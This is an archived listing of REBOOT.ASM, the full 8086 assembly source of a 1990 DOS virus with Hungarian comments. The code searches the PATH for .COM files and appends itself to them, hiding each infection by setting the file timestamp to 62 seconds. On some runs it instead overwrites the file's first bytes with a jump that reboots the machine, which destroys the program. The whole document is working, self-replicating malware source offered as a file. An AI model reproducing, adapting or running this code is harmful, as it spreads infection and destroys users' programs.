home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / REBOOT.ASM < prev    next >
Assembly Source File  |  1990-03-27  |  7KB  |  230 lines

  1.     PAGE ,132
  2. VIRUS    SEGMENT PARA PUBLIC 'CODE'
  3.     ASSUME CS:VIRUS,DS:VIRUS
  4.     
  5. HOSSZ    EQU VEG-KEZDET
  6. KEZDET    EQU $
  7.  
  8. INDIT:    PUSH CX
  9. TBLC:    MOV DX,OFFSET TABL
  10.     CLD            ;  SZTRINGMUVELETEK NOVEKVO IRANYBA
  11.     MOV SI,DX        ;  SI TARTALMAZZA A TABLAZAT KEZDOCIMET
  12.     ADD SI,OFFSET FILKEZ-TABL
  13.     MOV DI,100H        ;  AZ ELSO HAROM BYTE VISSZAALLITASA
  14.     MOV CX,3
  15.     REPZ MOVSB
  16.     MOV SI,DX        ;  SI-BE ISMET A TABLAZAT KEZDOCIME
  17.     MOV AH,30H        ;  A DOS VERZIOSZAM LEKERDEZESE
  18.     INT 21H
  19.     CMP AL,0        ;  MEG AZ 1.X VERZIO?
  20.     JNZ IND1        ;  NEM
  21.     JMP IND2        ;  IGEN, A VIRUS NEM TUD TERJEDNI
  22. IND1:    PUSH ES            ;  ES ELMENTESE
  23.     MOV AH,2FH        ;  A DTA CIMENEK LEKERDEZESE
  24.     INT 21H            ;  ES ELTAROLASA A TABLAZATBAN
  25.     MOV WORD PTR [SI+DTACIM-TABL],BX
  26.     MOV WORD PTR [SI+DTACIM-TABL+2],ES
  27.     POP ES            ;  ES VISSZAOLVASASA
  28.     MOV DX,UJDTA-TABL
  29.     ADD DX,SI        ;  A DTA UJ CIMENEK BEALLITASA
  30.     MOV AH,1AH
  31.     INT 21H
  32.     PUSH ES            ;  REGISZTEREK ELMENTESE
  33.     PUSH SI
  34.     MOV ES,DS:2CH        ;  A DOS KORNYEZET CIME
  35.     MOV DI,0        ;  ELEJETOL
  36. IND3:    POP SI            ;  SI VISSZAOLVASASA
  37.     PUSH SI            ;  ES VISSZAIRASA
  38.     ADD SI,OFFSET SZOVEG-TABL
  39.     LODSB            ;  EGY KARAKTER BETOLTESE
  40.     MOV CX,8000H        ;  A KORNYEZET MAX. 32K
  41.     REPNZ SCASB        ;  AZ ELSO KARAKTER KERESESE
  42.     MOV CX,OFFSET FSPEC-SZOVEG-1
  43. IND4:    LODSB            ;  A KOVETKEZO KARAKTER BEOLVASASA
  44.     SCASB            ;  ES ELLENORZESE
  45.     JNZ IND3        ;  NEM EGYEZIK
  46.     LOOP IND4        ;  FOLYTATNI
  47.     POP SI            ;  A REGISZTEREK VISSZAALLITASA
  48.     POP ES
  49.     MOV [SI+UTCIM-TABL],DI
  50.     MOV DI,SI        ;  DI-BE A TABLAZAT KEZDOCIME
  51.     ADD DI,OFFSET FSPEC-TABL
  52.     MOV BX,SI        ;  SI ELMENTESE BX-BE
  53.     ADD SI,OFFSET FSPEC-TABL
  54.     MOV DI,SI
  55.     JMP SHORT IND5        ;  KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
  56. INDE:    CMP WORD PTR [SI+UTCIM-TABL],0
  57.     JNZ IND6        ;  VAN MEG TOBB UT
  58.     JMP IND7        ;  MINDEN LEHETSEGES FILE FERTOZOTT
  59. IND6:    PUSH DS            ;  A REGISZTEREK ELMENTESE
  60.     PUSH SI
  61.     MOV DS,ES:2CH        ;  DS-BE A DOS KORNYEZET SZEGMENSE
  62.     MOV DI,SI        ;  DI A TABLAZATRA MUTAT
  63.     MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
  64.     ADD DI,OFFSET FSPEC-TABL
  65. IND8:    LODSB            ;  EGY KARAKTER BETOLTESE
  66.     CMP AL,3BH        ;  ';' AZ UTAKAT VALASZTJA EL
  67.     JZ IND9            ;  ANNAK A KODJA
  68.     CMP AL,0        ;  A LEZARO NULLA?
  69.     JZ INDA            ;  AZ A KOD
  70.     STOSB            ;  ELTAROLAS
  71.     JMP SHORT IND8        ;  FOLYTATNI
  72. INDA:    MOV SI,0        ;  TOBB UT NEM LETEZIK
  73. IND9:    POP BX            ;  BX A TABLAZAT KEZDOCIME
  74.     POP DS            ;  DS VISSZAALLITASA
  75.     MOV [BX+UTCIM-TABL],SI
  76.     CMP BYTE PTR [DI-1],5CH    ;  A FILE SPECIFIKACIO '\' LETT LEZARVA?
  77.     JZ IND5            ;  IGEN
  78.     MOV AL,5CH        ;  A '\' KODJA
  79.     STOSB            ;  ELTAROLASA
  80. IND5:    MOV [BX+FAKT-TABL],DI
  81.     MOV SI,BX        ;  A TABLAZAT KEZDOCIME BX
  82.     ADD SI,OFFSET FKER-TABL    ;  KERESO NEV
  83.     MOV CX,OFFSET UTCIM-FKER
  84.     REPZ MOVSB        ;  ATMASOLASA A FILE SPECIFIKACIOBA
  85.     MOV SI,BX        ;  SI A TABLAZAT KEZDOCIME
  86.     MOV AH,4EH        ;  FILE KERESESE
  87.     MOV DX,FSPEC-TABL
  88.     ADD DX,SI        ;  A FILE SPECIFIKACIO CIME
  89.     MOV CX,11B        ;  A KERESETT ATTRIBUTUM
  90.     INT 21H
  91.     JMP SHORT INDC        ;  A KOVETKEZO RESZT ATUGRANI
  92. INDF:    MOV AH,4FH        ;  A KOVETKEZO FILENEV KERESESE
  93.     INT 21H
  94. INDC:    JNC INDD        ;  MEGTALALTUK
  95.     JMP INDE        ;  NINCS ITT TOBB HASONLO
  96. INDD:    MOV AX,[SI+UJDTA-TABL+22]
  97.     AND AL,11111B        ;  A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
  98.     CMP AL,11111B        ;  62 MASODPERC? /FERTOZEST EZZEL JELZI/
  99.     JZ INDF            ;  IGEN, TOVABB KELL KERESNI
  100.     CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
  101.     JA INDF            ;  TUL NAGY FILE, NEM FERTOZHETO
  102.     CMP WORD PTR [SI+UJDTA-TABL+26],0AH
  103.     JB INDF            ;  TUL KICSI FILE
  104.     MOV DI,[SI+FAKT-TABL]
  105.     PUSH SI            ;  A TABLAZAT KEZDOCIMENEK ELMENTESE
  106.     ADD SI,OFFSET UJDTA-TABL+30
  107. INDG:    LODSB            ;  A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
  108.     STOSB
  109.     CMP AL,0        ;  A NEV ZARO NULLA?
  110.     JNZ INDG        ;  NEM, FOLYTATNI
  111.     POP SI            ;  A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
  112.     MOV AX,4300H        ;  A FILE ATTRIBUTUM BEOLVASASA
  113.     MOV DX,FSPEC-TABL
  114.     ADD DX,SI        ;  A FILE SPECIFIKACIO CIME
  115.     INT 21H
  116.     MOV [SI+FILATT-TABL],CX
  117.     MOV AX,4301H        ;  A FILE ATTRIBUTUM BEALLITASA
  118.     DB 81H,0E1H,0FEH,0FFH    ;  AZ R/O BIT TORLESE
  119.     MOV DX,FSPEC-TABL
  120.     ADD DX,SI        ;  A FILE SPECIFIKACIO CIME
  121.     INT 21H
  122.     MOV AX,3D02H        ;  A FILE MEGNYITASA IRASRA & OLVASASRA
  123.     MOV DX,FSPEC-TABL
  124.     ADD DX,SI        ;  A FILE SPECIFIKACIO CIME
  125.     INT 21H
  126.     JNC INDH        ;  NINCS HIBA
  127.     JMP INDK        ;  HIBA TORTENT
  128. INDH:    MOV BX,AX        ;  A FILESZAM ATVITELE
  129.     MOV AX,5700H        ;  A KELETKEZESI IDO BEOLVASASA
  130.     INT 21H            ;  ES BEALLITASA
  131.     MOV [SI+FILIDO-TABL],CX
  132.     MOV [SI+FILDAT-TABL],DX
  133.     MOV AH,2CH        ;  A RENDSZERIDO BEOLVASASA
  134.     INT 21H
  135.     AND DH,111B        ;  A MASODPERCEK OSZTHATOK NYOLCCAL?
  136.     JNZ INDI        ;  NEM, A FILE-T CSAK MEGFEROZZUK
  137.     MOV AH,40H        ;  EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
  138.     MOV CX,5        ;  A JMP FAR F000:FFF0 5 BYTE HOSSZU
  139.     MOV DX,SI        ;  DX A TABLAZAT KEZDETERE MUTAT
  140.     ADD DX,OFFSET RESET-TABL
  141.     INT 21H            ;  A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
  142.     JMP INDJ        ;  ENNEK MAR BEVEGEZTETETT
  143. INDI:    MOV AH,3FH        ;  OLVASAS A FILEBOL
  144.     MOV CX,3        ;  AZ ELSO HAROM BYTE
  145.     MOV DX,FILKEZ-TABL    ;  A MEGFELELO CIMRE
  146.     ADD DX,SI
  147.     INT 21H            ;  BEOLVASNI
  148.     JC INDJ            ;  HIBA TORTENT
  149.     CMP AX,3        ;  MIND A HAROM BYTEOT BEOLVASTA?
  150.     JNZ INDJ        ;  NEM, HIBA VOLT
  151.     MOV AX,4202H        ;  MUTATO A FILE VEGERE
  152.     MOV CX,0
  153.     MOV DX,0
  154.     INT 21H
  155.     JC INDJ            ;  TORTENT HIBA?
  156.     MOV CX,AX        ;  A FILE HOSSZA
  157.     SUB AX,3        ;  MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
  158.     MOV [SI+UJKEZ-TABL+1],AX
  159.     ADD CX,OFFSET TABL+100H    ;  A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
  160.     MOV DI,SI        ;  A TABLAZAT KEZDETE
  161.     SUB DI,OFFSET TABL-TBLC-1
  162.     MOV [DI],CX        ;  A MOV DX,  UTASITAS PARAMETERE
  163.     MOV AH,40H        ;  KIIRAS A FILE-BA
  164.     MOV CX,OFFSET HOSSZ        ;  A VIRUS HOSSZA
  165.     MOV DX,SI        ;  A TABLAZAT KEZDOCIME
  166.     SUB DX,OFFSET TABL    ;  MINUSZ A VIRUSTORZS HOSSZA
  167.     INT 21H            ;  KIIRAS
  168.     JC INDJ            ;  HIBA TORTENT
  169.     CMP AX,OFFSET HOSSZ    ;  MINDEN BYTEOT KIIRT?
  170.     JNZ INDJ        ;  NEM
  171.     MOV AX,4200H        ;  MUTATO A FILE ELEJERE
  172.     MOV CX,0
  173.     MOV DX,0
  174.     INT 21H
  175.     JC INDJ            ;  HIBA TORTENT?
  176.     MOV AH,40H        ;  KIIRAS A FILE-BA
  177.     MOV CX,3        ;  AZ ELSO 3 BYTE KIIRASA
  178.     MOV DX,SI
  179.     ADD DX,OFFSET UJKEZ-TABL
  180.     INT 21H            ;  KIIRAS
  181. INDJ:    MOV DX,[SI+FILDAT-TABL]
  182.     MOV CX,[SI+FILIDO-TABL]
  183.     DB 81H,0E1H,0E0H,0FFH    ;  AND CX,0FFE0H
  184.     OR CX,OFFSET 11111B    ;  AZ IDO 62 MASODPERC
  185.     MOV AX,5701H        ;  A KELETKEZESI DATUM ES IDO VISSZAIRASA
  186.     INT 21H            ;  ES A FERTOZES JELZESE
  187.     MOV AH,3EH        ;  FILE LEZARASA
  188.     INT 21H
  189. INDK:    MOV AX,4301H        ;  A REGI ATTRIBUTUM VISSZAALLITASA
  190.     MOV CX,[SI+FILATT-TABL]
  191.     MOV DX,FSPEC-TABL
  192.     ADD DX,SI        ;  A FILE SPECIFIKACIO CIME
  193.     INT 21H
  194. IND7:    PUSH DS            ;  DS ELMENTESE
  195.     MOV AH,1AH        ;  A DTA REGI CIMENEK BEALLITASA
  196.     MOV DX,WORD PTR [SI+DTACIM-TABL]
  197.     MOV DS,WORD PTR [SI+DTACIM-TABL+2]
  198.     INT 21H
  199.     POP DS            ;  DS VISSZAALLITASA
  200. IND2:    POP CX
  201.     XOR AX,AX        ;  AX=0
  202.     XOR BX,BX        ;  BX=0
  203.     XOR DX,DX        ;  DX=0
  204.     XOR SI,SI        ;  SI=0
  205.     MOV DI,100H        ;  100H A VEREMBE
  206.     PUSH DI
  207.     XOR DI,DI        ;  DI=0
  208.     RET 0FFFFH
  209.  
  210. TABL    EQU $
  211.     
  212. DTACIM    DD 0
  213. FILIDO    DW 0
  214. FILDAT    DW 0
  215. FILATT    DW 0
  216. FILKEZ    DB 0,0,0
  217. UJKEZ    DB 0,0,0
  218. FKER    DB '*.COM',0
  219. UTCIM    DW 0
  220. FAKT    DW 0
  221. SZOVEG    DB 'PATH='
  222. FSPEC    DB 40H DUP(' ')
  223. UJDTA    DB 2BH DUP(0)
  224. RESET    DB 0EAH,0F0H,0FFH,0,0F0H
  225.  
  226. VEG    EQU $
  227.  
  228. VIRUS    ENDS
  229.  
  230.     END